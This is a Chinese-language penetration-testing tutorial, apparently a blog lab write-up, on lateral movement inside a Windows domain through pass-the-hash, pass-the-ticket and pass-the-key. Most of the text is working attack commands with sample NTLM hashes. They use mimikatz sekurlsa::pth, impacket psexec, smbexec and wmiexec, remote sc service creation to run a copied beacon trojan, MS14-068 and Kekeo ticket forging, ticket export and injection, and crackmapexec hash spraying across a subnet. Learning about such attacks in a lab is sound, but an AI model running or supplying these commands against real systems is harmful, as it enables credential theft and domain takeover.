环境搭建
这里这个环境继续上一篇文章搭建的环境
案例一:域横向移动-PTH-Mimikatz&NTLM
什么是pth?
PTH = Pass The Hash ,通过密码散列值 ( 通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。 因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方 法登录到内网主机的其他计算机。另外注意在 Window Server 2012 R2 之前使用到的 密码散列值是 LM 、 NTLM ,在 2012 R2 及其版本之后使用到的密码散列值是 NTLM Hash 。
首先获得一台计算机的权限记得提权到system
抓取明文密码
mimikatz
Mimikatz利用了Windows内核中的某些特性,特别是LSASS(Local Security Authority Subsystem Service)进程,该进程负责处理用户的登录认证。通过模拟系统调用,Mimikatz能够获取到内存中未加密的凭证数据。这使得它在网络安全测试、漏洞评估以及系统管理员的日常工作中扮演着重要角色。
DC1在这台主机登录过,他的hash会记录在本地,可以利用他的hash提权
命令
mimikatz privilege::debug #开启mimikatz调试
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32
/ntlm:518b98ad4178a53695dc997aa02d455c #用mimikatz通过hash连接
dir \\192.168.3.32\c$ #访问共享文件
#下载木马执行
copy beacon.exe \\192.168.3.32\c$
sc \\sqlserver create bshell binpath= "c:\4.exe"
sc \\sqlserver start bshell
执行hash连接命令,会在win2008中弹出一个窗口(!注意,这里这条命令不能在提权的system中运行,必须在域内的用户administrator或者别的用户执行,否则是按本地用户是找不到域主机的)
访问共享文件
而普通cmd窗口当中是没有权限进行访问的
设置转发上线
生成木马然后复制到目标主机
添加服务
sc \\192.168.3.10 create bshell binpath= "c:\2.exe"
这里可以写ip也可以写主机名
添加成功
启动服务
sc \\sqlserver start bshell
成功上线system权限
但是要在对方主机执行这些命令显然不现实,这里了解这种方法就好
impacket套件
具体使用方式上一篇文章介绍过
python3 psexec.py -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.3.10
python3 smbexec.py -hashes :579da618cfbfa85247acf1f800a280a4 /administrator@192.168.3.10
python3 wmiexec.py -hashes :579da618cfbfa85247acf1f800a280a4 /administrator@192.168.3.10
案例二:域横向移动-PTT-漏洞&Kekeo&Ticket
PTT(pass the ticket) # 利用的票据凭证 TGT 进行渗透测试( Kerberos 认证攻击)
ms14-068(利用系统漏洞)
在这篇文章中曾经使用过,这里需要注意一点,这个漏洞适用版本是win2012以下的版本,域控是2019的话也会被检测出来是有危险的操作
第106天:权限提升-WIN 系统&AD域控&NetLogon&ADCS&PAC&KDC&CVE 漏洞_ad域控提权-CSDN博客
MS14-068漏洞是Kerberos协议中的一个安全漏洞,允许用户在向Kerberos密钥分发中心(KDC)申请TGT(票据授权服务产生的身份凭证)时伪造自己的Kerberos票据。如果KDC在处理这些伪造的票据时没有正确验证票据的签名,那么攻击者就可能获得更高的权限。
利用,这里是根据系统漏洞溢出到高权限提权,所以这里我就用域普通用户来运行
whoami/user #查看sid
查看和清除票据的命令
shell klist #查看票据
shell klist::purge #清除票据
利用工具生成票据,这里本应该设置代理在本地运行,但是是exe文件,我是linux系统所以就先上传了
工具下载地址:
注意这里的密码都是自己的,利用自己的低权限身份去提权
利用工具获得票据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
ms14-068.exe -u jie@qq.com -s S-1-5-21-3844935259-2139444640-2602687446-1104 -d 192.168.3.10 -p 123.com
查看生成票据的名字
利用mimikatz导入票据
mimikatz kerberos::ptc TGT_jie@qq.com.ccache
查看当前票据
查看文件
这里需要用主机名进行访问而不能使用ip
Kekeo(利用NTML,高权限)
工具下载地址:Release 2.2.0 20211214 Internals certificate · gentilkiwi/kekeo · GitHub
刚才mimikatz利用域内普通用户就可以提权啊,这个不行必须利用域内管理员用户,但是都已经有高权限用户了还需要这个干啥,鸡肋
抓取密码,如果里面能看到域内管理员的NTML(hash)那么该漏洞可以利用
首先还是需要上传kekeo文件,这里我就不设置代理了还是直接上传
需要清空票据
利用这个工具进行执行生成票据
shell kekeo.exe "tgt::ask /user:administrator /domain:qq.com /ntlm:afffeba176210fad4628f0524bfe1942" "exit"
然后导入票据
shell kekeo.exe "kerberos::ptt TGT_administrator@QQ.COM_krbtgt~qq.com@QQ.COM.kirbi" "exit"
访问共享文件夹
shell dir \\dc1.qq.com\c$
mimikatz(历史ticket)
利用条件是10个小时内,有别的用户连接过这台主机
导出票据(需要system权限去执行,看哪些主机与该主机建立过练习)
mimikatz sekurlsa::tickets /export
清空当前票据
导入票据
选择管理员去尝试
复制文件地址的方式
导入票据
mimikatz kerberos::ptt C:\Windows\system32\[0;5bb95]-2-1-40e00000-administrator@krbtgt-qq.com.kirbi
查看共享文件
如何判断hash是否有效
把用户名写入一个文件夹中,利用工具crackmapexec批量测试
proxychains4 crackmapexec smb 192.168.3.10-30 -u u.txt -H afffeba176210fad4628f0524bfe1942 --continue-on-success
案例三: 域横向移动-PTK-Mimikatz&AES256
利用条件过于苛刻